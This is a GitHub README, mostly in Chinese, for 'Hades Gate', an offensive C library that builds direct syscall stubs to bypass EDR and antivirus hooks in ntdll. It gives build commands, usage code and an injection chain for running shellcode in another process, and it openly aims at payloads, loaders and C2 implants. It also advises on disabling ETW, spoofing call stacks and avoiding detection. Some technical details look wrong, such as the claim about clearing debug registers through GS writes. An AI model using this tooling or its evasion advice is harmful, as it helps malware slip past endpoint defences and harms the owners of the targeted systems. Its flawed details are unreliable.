h0mi3e/hades-gate
GitHub: h0mi3e/hades-gate
Hades Gate 是一种通过动态提取系统调用号来构建直接调用存根,从而绕过用户态EDR/AV钩子的技术。
Stars: 3 | Forks: 0
# ⛧ Hades Gate
### 从第一原理构建直接系统调用
#1-the-problem The Problem
#2-background-the-syscall-layer Background: The Syscall Layer
#3-how-edrs-hook-you How EDRs Hook You
#4-the-technique The Technique
#step-1-peb-walk--ntdll-base Step 1: PEB Walk → ntdll Base
#step-2-pe-parse--export-resolution Step 2: PE Parse → Export Resolution
#step-3-ssn-extraction Step 3: SSN Extraction
#step-4-stub-synthesis Step 4: Stub Synthesis
#step-5-integration Step 5: Integration
#5-usage Usage
#6-where-and-why-to-use-it Where and Why to Use It
#7-variants-and-bypasses Variants and Bypasses
#8-limitations-and-detection Limitations and Detection
#9-references References
#10-license License
## 1. 问题所在
当你的代码调用 `VirtualAllocEx` 时,调用链如下:
```
your code → kernel32.dll → kernelbase.dll → ntdll.dll → kernel (ring 0)
```
市场上每一个 EDR 和消费级防病毒软件**都在用户态层面对 Windows API 进行 hook** —— 通常是在 ntdll.dll 内部,有时也包括 kernelbase。它们会覆盖每个函数的前 5-16 个字节,用一个 `jmp` 重定向到它们的监控引擎。你的调用路径变成了:
```
your code → kernel32 → kernelbase → ntdll (HOOKED) → EDR engine → kernel
```
EDR 可以看到:
- **你调用了哪个函数**(NtAllocateVirtualMemory, NtCreateThreadEx, NtOpenProcess 等)
- **你传递了哪些参数**(目标 PID、内存大小、保护标志等)
- **是谁调用了它**(回溯到你代码的堆栈跟踪)
一旦获得这些数据,检测就变得轻而易举:从一个非 Microsoft 二进制文件调用 `NtAllocateVirtualMemory` 并设置 `PAGE_EXECUTE_READWRITE`?告警。从 shellcode 调用?告警。从一个刚刚自我解密的进程调用?告警。
这就是为什么你的 payload 在第一个字节执行前就被捕获了。
## 2. 背景:系统调用层
在 Windows(x64)上,系统调用的工作方式如下:
**你的进程(ring 3) → ntdll 存根 → syscall 指令 → 内核(ring 0)**
每个内核服务都通过 ntdll 暴露为一个小型汇编存根。例如,在一个干净、未被 hook 的 ntdll 中,`NtAllocateVirtualMemory` 看起来是这样的:
```
mov r10, rcx ; 4C 8B D1 ; syscall clobbers RCX, save to R10
mov eax, 0x0018 ; B8 18 00 00 00 ; syscall number for this function
syscall ; 0F 05 ; trap to kernel
ret ; C3 ; return
```
其中的 `mov eax, 0x0018` —— `0x0018` 就是**系统服务号 (SSN)**,也称为系统调用号。每个 Nt\* 函数都有一个唯一的 SSN。内核使用这个数字来分派到正确的处理程序。
SSN 是关键。如果我们知道 SSN 并且我们自己发出 `syscall` 指令,我们就永远不需要调用 ntdll 的存根。我们可以直接从我们的代码进入内核。
**为什么这能行:** 内核只有一个。你无法从用户态 hook 内核(当然,你可以,但那涉及内核回调、ETW 和 PatchGuard,是另一个话题了)。`syscall` 指令是一个原子陷阱。如果你用正确的 SSN 和参数发出它,内核将处理你的请求,无论 EDR 对 ntdll 做了什么。
## 3. EDR 如何 hook 你
有三种常见的 hook 策略,按常见程度排序:
### 3.1 内联 Hook(最常见)
EDR 在 ntdll 存根的偏移 0 处写入一个 5 字节的 `jmp` 或 `call`,重定向到 EDR 自己 DLL 中的一个跳板。
```
; Before hook (clean):
4C 8B D1 mov r10, rcx
B8 18 00 00 00 mov eax, 0x18
0F 05 syscall
C3 ret
; After hook:
E9 XX XX XX XX jmp edr_trampoline ; 5 byte jmp
B8 18 00 00 00 mov eax, 0x18 ; these bytes are still here
0F 05 syscall
C3 ret
```
仔细注意其布局:
```
Original stub (11 bytes):
[0] 4C mov r10, rcx
[1] 8B
[2] D1
[3] B8 mov eax, SSN ← immediate starts here
[4] 18 ← SSN = 0x18
[5] 00
[6] 00
[7] 00
[8] 0F syscall
[9] 05
[10] C3 ret
5-byte JMP hook (what a simple detour looks like):
[0] E9 jmp edr_trampoline
[1] XX
[2] XX
[3] XX
[4] XX ← 5-byte jmp overwrites [0] through [4]
[5] 00 ← SSN upper bytes survive here
[6] 00
[7] 00
[8] 0F syscall
[9] 05
[10] C3 ret
```
一个**纯粹的 5 字节 jmp**(`E9 XX XX XX XX`)确实会覆盖字节 [4]——SSN 的低字节。如果这是唯一的 hook 方法,读取字节 [4] 会失败。
**实际上,这无关紧要,因为几乎没有任何现代 EDR 使用纯粹的 5 字节 jmp。** 它们使用更长的 hook 序列,这些序列不会触碰字节 [4]:
| Hook 类型 | 大小 | 字节布局 | 覆盖 [4]? |
|-----------|------|-------------|----------------|
| `jmp [rip+offset]` | 6 字节 | `FF 25 XX XX XX XX` | ❌ 否(仅 [0-5]) |
| `call [rip+offset]` | 6 字节 | `FF 15 XX XX XX XX` | ❌ 否(仅 [0-5]) |
| `mov rax, imm; jmp rax` | 13 字节 | `48 B8 XX ... XX FF E0` | ❌ 否(仅 [0-12]) |
| `jmp rel32` | 5 字节 | `E9 XX XX XX XX` | ✅ **是** |
`jmp [rip+offset]`(6 字节)和 `call [rip+offset]`(6 字节)形式在现代 EDR 中最为常见——Defender for Endpoint、SentinelOne、Cortex XDR、Sophos Intercept X 和 Carbon Black 都使用这些。5 字节的 `jmp rel32` 主要是遗留或玩具级别的 detour 实现。
**如果你遇到一个 5 字节的 hook**(当字节 [0-4] 读作 `E9 XX XX XX XX` 时可见),那么 [4] 处的 SSN 就没了。请回退到:
1. **回收 SSN 的高位字节** —— 一个 5 字节的 jmp 会保留字节 [5-7] 不变。SSN 在低字节,但你可以根据已知的 Windows 版本 SSN 范围来重建它,或者
2. **清理 ntdll 映射**(第 7.1 节) —— 从磁盘读取干净的 DLL 并从真正的存根中提取 SSN,或者
3. **挂起进程方法** —— 创建一个在 EDR 附加之前挂起的进程,从其干净的 ntdll 中读取 SSN
对于 95% 以上的真实世界部署,字节 [4] 是干净的。代码读取它然后继续。
### 3.2 通过 Detours 进行 Hook(Microsoft Detours 风格)
EDR 将原始字节保存在其他地方,用 `jmp` 进行修补,并提供一个“跳板”来调用原始函数。这是最礼貌的方法,也是最容易绕过的 —— 只要不使用跳板即可。
### 3.3 替换(最少见)
EDR 用一个指向完全伪造函数的 `jmp` 替换了整个函数体。原始存根本不在内存中。这会破坏 Hades Gate(以及 Hell's Gate 和大多数其他技术)。解决方案是从磁盘映射一个干净的 ntdll 副本。
## 4. 技术细节
### 步骤 1: PEB 遍历 → ntdll 基地址
每个 Windows 进程都有一个**进程环境块 (PEB)**,可以通过 GS 段寄存器的一个固定偏移量访问:
```
x64: GS:[0x60] → PEB
x86: FS:[0x30] → PEB
```
PEB 包含一个指向 `PEB_LDR_DATA`(偏移 0x18)的指针,其中包含一个已加载模块的链表。我们遍历这个链表以找到 ntdll.dll 并获取其基地址。
**为什么不用 GetModuleHandle?** 因为它被 hook 了。PEB 永远不会被 EDR 修补,因为修改它会导致进程崩溃。
**结构如下:**
```
GS:[0x60] → PEB
+0x18 → PEB_LDR_DATA
+0x20 → InMemoryOrderModuleList (LIST_ENTRY)
Flink → .exe (first)
Flink → ntdll.dll (second)
Flink → kernel32.dll (third)
```
每个 `LDR_DATA_TABLE_ENTRY` 包含:
- `+0x10`: DllBase
- `+0x40`: BaseDllName (UNICODE_STRING)
我们进行迭代,直到找到 `BaseDllName` 匹配 “ntdll.dll”(不区分大小写)的条目,并从偏移 0x10 处读取 `DllBase`。
### 步骤 2: PE 解析 → 导出解析
有了 ntdll 的基地址,我们解析 PE 头:
```
DOS_HEADER → e_lfanew → NT_HEADERS → OptionalHeader
→ DataDirectory[EXPORT]
→ ExportDirectory
```
导出目录为我们提供了:
- **AddressOfNames**: 指向函数名字符串的 RVA 指针数组
- **AddressOfNameOrdinals**: 将名称索引映射到序数
- **AddressOfFunctions**: 将序数映射到函数 RVA
我们使用 FNV-1a 对目标函数名进行哈希,遍历 `AddressOfNames` 直到找到匹配项,解析序数,并从 `AddressOfFunctions` 获取函数 RVA。将函数 RVA 加上 ntdll 基地址,就得到了内存中的函数地址。
### 步骤 3: SSN 提取
有了函数地址,我们检查存根的前 N 个字节。在一个干净的 ntdll 中,模式是:
```
4C 8B D1 [00-02] mov r10, rcx
B8 XX XX XX XX [03-07] mov eax, SSN
0F 05 [08-09] syscall
C3 [0A] ret
```
即使在一个被 hook 的存根中,字节 [5-7](`mov eax` 立即数的高 24 位)几乎从未被覆盖,因为它们位于任何 jmp/call hook 前言之后。在现代 Windows(10+)上,系统调用号可以容纳在一个字节内(0x00-0xFF),因此读取字节 [4] 或 [5] 就可以得到 SSN。
**处理的边缘情况:**
- 如果 hook 恰好是 5 字节(覆盖了 [0-4]),那么 [4] 处的 SSN 就被破坏了。我们通过检查字节 [3-7] 是否构成一个有效的 `mov eax` 来检测这一点——如果不是,那么 SSN 就在 [5] 处([3] 处的 `B8` 被破坏了,但 [5-7] 处的立即数幸存了)。
- 如果函数是一个导出但**不是**系统调用存根(例如 `RtlAllocateHeap`),就没有 SSN 可提取,我们返回 0。
- 如果函数完全没有可识别的存根(EDR 完全替换了它),SSN 为 0,我们优雅地失败。
### 步骤 4: 存根合成
有了 SSN,我们分配可执行内存并写入:
```
mov r10, rcx ; 4C 8B D1 — syscall calling convention
mov eax, SSN ; B8 XX 00 00 00 — syscall number
syscall ; 0F 05 — trap to kernel
ret ; C3 — return
```
这个存根**从不接触 ntdll**。它直接从我们分配的可执行页面进入 ring 0。EDR 的 hook 仍然静静地待在 ntdll 中,未被执行,疑惑着大家都去哪儿了。
### 步骤 5: 集成
将这些存根链接起来,形成一个完整的无 hook 注入流程:
```
void* hNtOpenProcess = hg_syscall("NtOpenProcess");
void* hNtAllocateVirtualMemory = hg_syscall("NtAllocateVirtualMemory");
void* hNtWriteVirtualMemory = hg_syscall("NtWriteVirtualMemory");
void* hNtProtectVirtualMemory = hg_syscall("NtProtectVirtualMemory");
void* hNtCreateThreadEx = hg_syscall("NtCreateThreadEx");
void* hNtClose = hg_syscall("NtClose");
```
将每个转换为其 NTAPI 原型并直接调用。EDR 什么也看不到。
## 5. 使用方法
### 5.1 构建
```
# 使用 MinGW 交叉编译器:
x86_64-w64-mingw32-gcc -Os -masm=intel -c src/hades_gate.c -o hades_gate.o
x86_64-w64-mingw32-gcc -Os -masm=intel hades_gate.o your_code.c -o payload.exe
# 使用 MSVC (cl.exe):
cl /c /O1 src/hades_gate.c
link hades_gate.obj your_code.obj /OUT:payload.exe
```
### 5.2 基本用法
```
#include "src/hades_gate.h"
int main(void) {
// One-shot: resolve and build a clean syscall stub
void* stub = hg_syscall("NtAllocateVirtualMemory");
if (!stub) return 1;
// Cast to the proper NTAPI prototype
typedef NTSTATUS (NTAPI* fnNtAllocateVirtualMemory)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(fnNtAllocateVirtualMemory)stub;
// Use it — EDR never fires
PVOID addr = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = pNtAllocateVirtualMemory(
(HANDLE)-1, &addr, 0, &size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// addr = RWX memory. The EDR has no idea this happened.
return 0;
}
```
### 5.3 手动两步法(如果你需要检查结果)
```
HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory");
if (r.ssn == 0) {
// Either the function wasn't found or it's not a syscall stub
return 1;
}
printf("NtAllocateVirtualMemory is at %p, SSN = 0x%02X\n",
r.address, r.ssn);
void* stub = hg_build_stub(r.ssn);
if (!stub) return 1;
// stub is ready to call
```
### 5.4 完整的无 hook 注入链
参见 `examples/injector.c` 获取完整实现,该实现会打开目标进程、分配内存、写入 shellcode 并执行它——全部通过直接系统调用完成。不涉及任何 Win32 API 调用。
## 6. 使用场景与原因
### 在以下情况下使用 Hades Gate:
- **你正在编写 shellcode 或位置无关代码**,这些代码不能依赖导入表、运行时链接或 CRT 初始化。PEB 遍历器可以从零开始为你提供所需的一切。
- **你正在构建一个加载器或注入器**,需要在存在 EDR 的现代 Windows 上生存。直接系统调用是任何不希望在 API 调用层面被检测到的 payload 的基准要求。
- **你正在编写 C2 植入程序**,需要在运行时动态解析 API,而没有静态 IAT 条目。Hades Gate 的 PEB 遍历 + 导出解析为你提供了动态解析能力,而无需调用 `GetProcAddress`(它也被 hook 了)。
- **你需要跨版本兼容性。** 因为 Hades Gate 在运行时派生系统调用号,同一个二进制文件可以在 Windows 10 1507、Windows 11 24H2 以及介于两者之间的所有版本上工作。无需维护硬编码的偏移表。
### 了解你的敌人——用户态之下潜伏着什么
Hades Gate 绕过了用户态 API hook。下面是它**没有触及**的三个层面。以下是处理每个层面的方法:
#### 层面 1:内核回调(ETW、PsSetCreateProcessNotifyRoutine 等)
大多数 EDR 注册内核回调,这些回调在系统调用完成后触发。直接系统调用无法避免这些——它们发生在 ring 0,无论你如何调用内核。
**它们能看到什么:** 系统调用号、参数、调用进程。
**它们看不到什么:** Win32 函数名、通过 ntdll 的调用堆栈。
**如何缓解:**
- 将分配批量化为更少、更大的调用(减少事件量)
- 通过反射式 DLL 加载而不是逐个 API 调用来链接 shellcode 投递
- 在注入调用之前使用 `NtSetInformationProcess` 为你的进程禁用 ETW
- 在调用之间设置现实的延迟(一个在 2ms 内完成的注入是明显的)
- 伪造调用线程的起始地址,使内核回调看到一个合法的入口点
#### 层面 2:安全内核 / VBS
基于虚拟化的安全 (VBS) 在内核下方运行一个 hypervisor。它可以在 VMExit 级别拦截每个系统调用。没有任何用户态绕过方法。
**如果 VBS 已启用,直接系统调用仍然有效** —— 它们只是无法帮助你躲避 hypervisor。从 VBS 观看的 EDR 以完全保真度看到每个系统调用。
**如何应对:**
- Hades Gate 仍然为你提供跨版本兼容性并避免用户态 hook。在 VBS 下它并非无用——只是不够隐蔽。
- 结合 ETW 禁用和调用伪造,减少你的进程在用户态发出的信号,使其更难与合法行为区分开来,即使 VBS 在观看。
- 如果在 VBS 下需要绝对隐身,你需要硬件级技术(安全内核绕过),这超出了任何用户态工具的范围。
#### 层面 3:完整存根替换(CrowdStrike Falcon,一些 SentinelOne 配置)
这些 EDR 不仅 hook 头几个字节——它们用一个指向完全伪造函数的 jmp 覆盖了整个系统调用存根。[4] 字节处的 SSN 没了。
**Hades Gate 如何处理:**
- 首先调用 `hg_resolve()`,然后调用 `hg_verify_stub()`。如果存根看起来不像系统调用存根,则回退到 `hg_map_clean_ntdll()` + `hg_resolve_at()`(第 7.1 节)。
- `hg_verify_stub()` 检查前 16 个字节内是否存在 `0F 05 C3`(syscall; ret)。如果不存在,说明 EDR 已替换了存根。
- `hg_map_clean_ntdll()` 从磁盘映射一个 ntdll.dll 的新副本,然后 `hg_resolve_at()` 从真实的存根中提取 SSN。
```
HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory");
if (!hg_verify_stub(r.address)) {
// Stub appears replaced — try clean ntdll from disk
uintptr_t clean_base = hg_map_clean_ntdll();
r = hg_resolve_at("NtAllocateVirtualMemory", clean_base);
}
void* stub = hg_build_stub(r.ssn);
```
### 底线
Hades Gate 是一种用户态 hook 绕过技术。仅此而已。如果 EDR 从 ring 0 或更底层观看,直接系统调用仍然有用——它们消除了最常见的检测向量(函数 hook)——但它们并非完整的隐身解决方案。结合 ETW 禁用、调用伪造和行为时序,可以得到更全面的效果。
## 7. 变体与绕过方法
### 7.1 干净映射的 nTDLL
当 EDR 用 hook 替换整个存根时,从磁盘读取 ntdll.dll 并将其映射为一个干净的副本。然后从干净的副本中提取 SSN。
```
Steps:
1. NtOpenFile("\\??\\C:\\Windows\\System32\\ntdll.dll")
2. NtCreateSection(..., SEC_IMAGE, ...)
3. NtMapViewOfSection(...) → maps a CLEAN copy into memory
4. Run hg_resolve against this clean base instead of in-memory ntdll
5. Use the resolved SSNs to build stubs
```
内存中的 ntdll 可能有伪造的存根,但磁盘上的副本总是干净的。
**更新的 API 用法:**
```
// Before: only resolves from in-memory ntdll
HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory");
// Now: verify the stub is real, fall back to clean copy
if (!hg_verify_stub(r.address)) {
// EDR replaced the stub — map from disk
uintptr_t clean = hg_map_clean_ntdll();
r = hg_resolve_at("NtAllocateVirtualMemory", clean);
}
void* stub = hg_build_stub(r.ssn);
```
### 7.2 间接系统调用
一些 EDR(Cybereason,现代 Defender ATP)通过修补 `ntdll!KiFastSystemCall` 来 hook `syscall` 指令本身。绕过方法:
1. 扫描任何已签名的 Microsoft DLL(kernel32.dll、user32.dll 等)寻找字节 `0F 05 C3`(syscall + ret)
2. 将你的存根的 `syscall` 重定向到那个 gadget,而不是内嵌它
你的存根变成:
```
mov r10, rcx
mov eax, SSN
jmp gadget_addr ; jumps to a clean syscall;ret
```
EDR hook 的是 ntdll 中的 `syscall`,而不是 kernel32 中的,所以 gadget 是干净的。
### 7.3 随机访问 SSN 提取
一些 EDR 使用可变长度的 hook,覆盖不同的偏移量。使用多种提取策略:
```
// Strategy 1 (Hell's Gate / Hades Gate): read B8 XX at [3]
// Strategy 2 (Tartarus Gate): scan for B8 anywhere in first 16 bytes
// Strategy 3: if stub starts with FF (call), the real stub is elsewhere
// Strategy 4: byte-by-byte scan for 0F 05 C3, read SSN from preceding bytes
```
按顺序尝试每种策略,直到获得一个有效(非零、合理)的 SSN。
### 7.4 硬件断点拆除
一个小技巧:在调用你合成的存根之前,清除所有硬件调试寄存器(DR0-DR3)。一些 EDR 使用硬件断点来监控特定的系统调用。
```
__writegsqword(0x10, 0); // Clear DR0
__writegsqword(0x18, 0); // Clear DR1
```
## 8. 限制与检测
### Hades Gate **可以**绕过什么:
- ✅ ntdll.dll 中的**内联 API hook**(Defender, SentinelOne, Sophos, Carbon Black, Cortex XDR)
- ✅ **Detours 风格的函数重定向**(Microsoft Detours, AppInit DLLs)
- ✅ **ETW 用户态 hook**(尽管内核 ETW 仍可能获取事件)
- ✅ **GetModuleHandle/GetProcAddress 监控**(我们两个都不调用)
- ✅ **IAT 扫描**(我们的 Nt\* 函数没有导入条目)
### Hades Gate **不能**绕过什么:
- ❌ **内核模式 ETW 提供程序** —— `Microsoft-Windows-Kernel-Process`, `Microsoft-Windows-Kernel-Memory`, `Threat-Intelligence` 跟踪会话。这些在 ring 0 拦截系统调用。
- ❌ **内核回调**,由 `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine` 等注册。
- ❌ **基于 hypervisor 的监控**(VBS, 安全内核, 带有 DGE/System Guard 的 Hyper-V)
- ❌ **堆栈遍历** —— 如果 EDR 监控内核模式,它们仍然会看到你的系统调用,并且可以遍历内核堆栈回到你的进程。它们看不到*函数名*,但它们会看到 SSN 并可以映射它。
### 检测向量:
1. **`NtAllocateVirtualMemory` 设置 PAGE_EXECUTE_READWRITE** —— 即使通过直接系统调用,内核也能看到这一点。如果 EDR 有内核 minifilter 或 ETW 订阅,它们会看到。改变你的分配策略:分配为 PAGE_READWRITE,写入,然后调用 `NtProtectVirtualMemory` 将其改为 PAGE_EXECUTE_READ。
2. **读-写-执行内存** 是一个强启发式。避免 RWX。使用 RW + 改为 RX。
3. **没有模块(即不是已加载的 DLL 或 EXE)支持的可执行内存** 是可疑的。考虑隐藏在一个已知模块后面。
4. **多个快速系统调用序列的模式** —— 具有行为检测的 EDR 会将“在 2ms 内对 NtOpenProcess + NtAllocateVirtualMemory + NtWriteVirtualMemory 进行三次系统调用”标记为注入,无论它们是否是直接的。
## 9. 相关技术
- **Hell's Gate (halov)** —— 该技术家族所源自的原始直接系统调用技术。
- **Halo's Gate** —— 处理部分 EDR hook 的改进。
- **Recycled Gate** —— 从挂起进程中回收未 hook 的系统调用存根。
- **Tartarus Gate** —— 处理使用 `call` 而非 `jmp` 的 EDR 存根。
## 10. 许可证
这是自由软件。随你怎么用它。不提供任何明示或暗示的担保。
Windows 内核是唯一的权威。直接去访问它。不要经过 EDR。不要收集 0-day。
标签:AV绕过, EDR绕过, FastAPI, Hpfeeds, ntdll钩子, PEB Walking, Shellcode, Windows系统, 云资产清单, 函数钩子, 子域名枚举, 客户端加密, 恶意技术, 恶意软件, 技术调研, 用户态钩子, 私有化部署, 系统安全, 系统调用, 网络安全, 自动回退, 运行时解析, 逆向工程, 钩子绕过, 防御规避, 隐私保护, 高交互蜜罐